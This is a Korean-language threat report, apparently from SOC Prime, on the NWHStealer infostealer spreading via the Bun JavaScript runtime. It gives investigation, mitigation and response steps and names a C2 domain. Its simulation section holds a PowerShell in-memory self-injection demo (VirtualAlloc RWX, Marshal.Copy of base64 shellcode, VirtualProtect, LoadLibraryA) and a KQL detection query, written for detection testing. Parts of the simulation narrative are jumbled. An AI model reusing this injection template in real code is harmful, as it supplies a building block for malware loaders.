SOC Prime Bias: 중간

08 5월 2026 18:33

NWHStealer가 Bun JavaScript 런타임을 통해 확산

Author Photo
SOC Prime Team linkedin icon 팔로우
NWHStealer가 Bun JavaScript 런타임을 통해 확산
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 위협 행위자들이 Rust 기반의 인포스틸러 NWHStealer를 전파하기 위해 Bun JavaScript 런타임을 어떻게 사용하는지를 설명합니다. 악성 ZIP 아카이브에는 Bun으로 패키징된 JavaScript 로더를 실행하는 주요 설치 프로그램과 이름이 dw.exe인 보조 로더가 포함되어 있습니다. JavaScript 구성 요소는 반가상 머신 검사, 명령 및 제어 인프라에 대한 접근, 후속 페이로드의 복호화 및 Win32 API를 악용하여 메모리에 인포스틸러를 주입합니다. 캠페인은 GitHub, MediaFire, SourceForge와 같은 합법적인 호스팅 플랫폼 뒤에 악성 파일을 숨깁니다.

조사

연구자들은 Bun이 로더의 .bun 섹션 내부에 악성 JavaScript를 패키징하는 데 사용되었다는 것을 발견했습니다. 두 개의 스크립트, sysreq.js and memload.js는 환경 검사와 공격자 인프라와의 통신을 처리했습니다. 로더는 silent-harvester.cc와 같은 도메인에서 구성 데이터와 암호화된 페이로드를 가져와 이를 AES-256-CBC로 해독하고 Win32 API 호출을 통해 이를 주입하였습니다. 최종 페이로드는 NWHStealer로, 자격 증명, 브라우저 데이터, 암호 화폐 지갑 정보를 탈취하고 추가적인 채굴 활동도 수행할 수 있습니다.

완화

사용자는 신뢰할 수 없는 웹사이트에서 실행 파일을 다운로드하는 것을 피하고, 실행 전에 설치 프로그램의 서명을 확인해야 합니다. 보안 팀은 비정상적인 Bun 런타임 활동, 가상화 검사를 위해 사용되는 PowerShell CIM 쿼리 및 VirtualAlloc and LoadLibraryA와 같은 의심스러운 API 호출을 모니터링해야 합니다. 조직은 알려진 악성 도메인을 차단하고 남용을 제한하기 위한 최소 권한 실행 정책을 시행해야 합니다.

대응

이 활동이 감지되면 영향을 받은 엔드포인트를 격리하고, 메모리와 디스크 이미지를 수집하며 Installer.exe, dw.exe과(와) 의심스러운 .bun 섹션을 확인하십시오. 네트워크 경계에서 식별된 명령 및 제어 도메인과 URL을 차단하십시오. 관찰된 PowerShell 명령 및 Win32 API 패턴에 대한 엔드포인트 탐지를 배포하십시오. 노출된 자격 증명을 회전하고 무단 암호화폐 채굴의 징후에 대해 영향을 받은 시스템을 모니터링하십시오.

graph TB %% 클래스 정의 classDef technique fill:#ffcc99 classDef action fill:#99ccff %% 노드 node_initial_access[“<b>초기 접근</b><br/><b>T1036.008 위장: 파일 유형</b>: 정상 파일처럼 위장된 악성 ZIP.<br/><b>T1204.002 사용자 실행: 악성 파일</b>: 사용자가 다운로드한 파일을 실행”] class node_initial_access technique node_obfuscated_loader[“<b>난독화 로더</b><br/><b>T1027.016 잡코드 삽입</b>: 불필요한 JavaScript 삽입으로 악성 로직 은폐.<br/><b>T1027.008 페이로드 제거</b>: 분석 회피를 위해 비필수 코드 제거”] class node_obfuscated_loader technique node_discovery[“<b>탐지/정보수집</b><br/><b>T1082 시스템 정보 수집</b>: OS, 하드웨어, 소프트웨어 정보 수집.<br/><b>T1016 네트워크 구성 정보 수집</b>: IP, 어댑터, 라우팅 정보 열거”] class node_discovery technique node_credential_access[“<b>자격 증명 접근</b><br/><b>T1555.003 브라우저 자격 증명</b>: 저장된 비밀번호 및 자동완성 데이터 추출.<br/><b>T1550.004 대체 인증 수단 사용</b>: 세션 쿠키 탈취”] class node_credential_access technique node_c2[“<b>C2</b>: 원격 서버에서 AES 복호화 키와 암호화된 페이로드 수신”] class node_c2 action node_execution[“<b>실행</b><br/><b>T1620 리플렉티브 코드 로딩</b>: 디스크 없이 메모리에서 직접 실행.<br/><b>T1055.009 프로세스 메모리 인젝션</b>: 실행 중 프로세스에 코드 주입”] class node_execution technique node_persistence[“<b>지속성</b><br/><b>T1053 예약 작업</b>: 주기적으로 실행되는 작업 생성”] class node_persistence technique %% 연결 node_initial_access –>|다음| node_obfuscated_loader node_obfuscated_loader –>|다음| node_discovery node_discovery –>|다음| node_credential_access node_credential_access –>|다음| node_c2 node_c2 –>|다음| node_execution node_execution –>|다음| node_persistence

공격 흐름

시뮬레이션 실행

전제조건: 텔레메트리 및 기준 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 상대의 기술적 방법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하여 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하도록 목표를 두어야 합니다. 추상적이거나 관련 없는 예는 오진을 초래하게 됩니다.

  • 공격 내러티브 및 명령:

    1. 초기 접근: 공격자는 피해자 시스템에 악성 자바스크립트 파일을 전달하고 이를loader.js를 실행하여 bun 런타임bun loader.js).
    2. 셀프 인젝션 루틴: 자바스크립트 코드는 파워셸 헬퍼를 통해 네이티브 Win32 API를 호출하여 Add-Type P/Invoke 서명을 정의하고 VirtualAlloc, VirtualProtect을 이용합니다 LoadLibraryA.
    3. 메모리 할당: VirtualAlloc 내장 셸코드를 위한 RWX 영역을 예약합니다.
    4. 셸코드 주입: 파워셸 스크립트는 base64로 디코딩된 셸코드를 할당된 메모리에 복사합니다. Marshal.Copy.
    5. 권한 변경: VirtualProtect 페이지 보호를 PAGE_EXECUTE_READ.
    6. 로 전환합니다 LoadLibraryA 페이로드 실행: LoadLibraryA).
    7. 악성 DLL이 아웃 메모리에만 존재하며, DLL 헤더는 할당된 영역에 작성된 다음 주소가 전송됩니다. 새 스레드 없음: 공격자는공격자는
  • 을(를) 호출하는 것을 의도적으로 피했으며, DLL의 DllMain은 현재 프로세스의 컨텍스트에서 실행되므로 규칙의 제외 절을 충족합니다.

    # -------------------------------------------------
    # NWHStealer 자바스크립트 로더 - 셀프 인젝션 데모
    # -------------------------------------------------
    # 이 스크립트는 실제 NWHStealer 로더의 동작을 모방합니다.
    # CreateThread를 호출하지 않고 의도적으로 VirtualAlloc, VirtualProtect 및 LoadLibraryA를 호출합니다.
    
    # 1. Win32 API 서명 정의
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Win32 {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern IntPtr LoadLibraryA(string lpFileName);
    }
    "@
    Add-Type $sig
    
    # 2. 실행 가능한 메모리 할당 (RWX)
    $size = 0x1000
    $MEM_COMMIT = 0x1000
    $PAGE_EXECUTE_READWRITE = 0x40
    $mem = [Win32]::VirtualAlloc([IntPtr]::Zero, $size, $MEM_COMMIT, $PAGE_EXECUTE_READWRITE)
    if ($mem -eq [IntPtr]::Zero) { throw "VirtualAlloc failed" }
    
    # 3. 예제 셸코드 (MessageBox) – 가독성을 위한 base64 인코딩
    $b64 = "AQAAANAAAABAAEAAAABAAAAAgAAAAEAAABWAAAAAQAAAAIAAAD/////AQAAAAAAAAA="
    $shellcode = [Convert]::FromBase64String($b64)
    
    # 4. 할당된 지역에 셸코드를 복사
    [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
    
    # 5. 실행 모드로 보호 변경
    $oldProtect = 0
    $PAGE_EXECUTE_READ = 0x20
    $ok = [Win32]::VirtualProtect($mem, $size, $PAGE_EXECUTE_READ, [ref]$oldProtect)
    if (-not $ok) { throw "VirtualProtect failed" }
    
    # 6. 메모리의 "DLL" 로드 (여기에서는 플레이스 홀더로 kernel32를 LoadLibraryA로 호출)
    # 실제 로더에서는 $mem에 사용자 정의 DLL이 작성됩니다.
    $hLib = [Win32]::LoadLibraryA("kernel32.dll")
    if ($hLib -eq [IntPtr]::Zero) { throw "LoadLibraryA failed" }
    
    Write-Host "셀프 인젝션 단계가 완료되었습니다 – 프로세스가 이제 탐지 규칙에 의해 플래그되어야 합니다."
    # -------------------------------------------------
  • 정리 명령:

    # 인젝션을 수행한 PowerShell 인스턴스 종료
    Stop-Process -Id $PID -Force
    
    # (선택적) 테스트용으로 디스크에 쓰여진 사용자 정의 DLL이 있는 경우 제거
    Remove-Item -Path "$env:TEMPmalicious.dll" -ErrorAction SilentlyContinue

실행 후 검증

  1. 경고 생성 확인: 다음 KQL 쿼리를 실행하여 규칙이 실행되었는지 확인:

     // 탐지 규칙: CreateThread 없는 VirtualAlloc/VirtualProtect/LoadLibraryA
     Sysmon
     | where EventID == 1
     | where CallTrace contains "VirtualAlloc" or CallTrace contains "VirtualProtect" or CallTrace contains "LoadLibraryA"
     | where not(CallTrace contains "CreateThread")
     | project TimeGenerated, Process, CallTrace, EventID
  2. 잘못된 긍정 없음 확인: 양성 노트패드 명령을 다시 실행하고, 해당 실행에 대해 쿼리가 zero 결과를 반환했는지 확인하십시오.


보고서 종료